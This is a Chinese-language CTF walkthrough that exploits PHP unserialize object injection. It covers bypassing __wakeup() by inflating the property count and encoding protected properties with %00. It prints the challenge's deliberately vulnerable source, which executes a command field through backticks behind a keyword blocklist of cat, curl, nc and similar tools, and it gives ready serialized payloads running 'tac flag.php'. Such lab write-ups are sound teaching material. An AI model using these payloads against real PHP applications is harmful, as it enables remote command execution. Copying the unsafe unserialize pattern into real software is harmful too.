考点1:绕过__wakeup()
当序列化字符串表示对象属性个数的值大于真实个数的属性时,就会跳过__wakeup()的执行。
考点2:私有属性绕过
①protected属性被序列化的时候属性值会变成:%00*%00属性名。 private属性被序列化的时候属性值会变成:%00类名%00属性名。 ②直接url编码输出。
考点3:``反引号,可以作为系统命令输出给var_dump
$a = `$this->cmd`;
var_dump($a);
解题
1、看源码
2、base64解码,是“备份”的意思
3、扫不出来,试试 http://114.67.175.224:19013/index.php.bak
4、下载文件
<?php
header("Content-Type: text/html;charset=utf-8");
error_reporting(0);
echo "<!-- YmFja3Vwcw== -->";
class ctf
{
protected $username = 'hack';
protected $cmd = 'NULL';
public function __construct($username,$cmd)
{
$this->username = $username;
$this->cmd = $cmd;
}
function __wakeup()
{
$this->username = 'guest';
}
function __destruct()
{
if(preg_match("/cat|more|tail|less|head|curl|nc|strings|sort|echo/i", $this->cmd))
{
exit('</br>flag能让你这么容易拿到吗?<br>');
}
if ($this->username === 'admin')
{
// echo "<br>right!<br>";
$a = `$this->cmd`;
var_dump($a);
}else
{
echo "</br>给你个安慰奖吧,hhh!</br>";
die();
}
}
}
$select = $_GET['code'];
$res=unserialize(@$select);
?>
5、记住:我们可以控制ctf类的属性,就是我们可以给ctf类的两个属性赋上我们想要的值。
方法1:url编码输出序列化的字符串
<?php
class ctf
{
protected $username = 'admin';
protected $cmd = 'tac flag.php';
}
$a=new ctf();
echo urlencode(serialize($a));
?>
O%3A3%3A%22ctf%22%3A2%3A%7Bs%3A11%3A%22%00%2A%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A6%3A%22%00%2A%00cmd%22%3Bs%3A12%3A%22tac+flag.php%22%3B%7D
方法2:手动在*的前后添上%00
<?php
class ctf
{
protected $username = 'admin';
protected $cmd = 'tac flag.php';
}
$a=new ctf();
echo serialize($a);
?>
O:3:"ctf":3:{s:11:"%00*%00username";s:5:"admin";s:6:"%00*%00cmd";s:12:"tac flag.php";}
|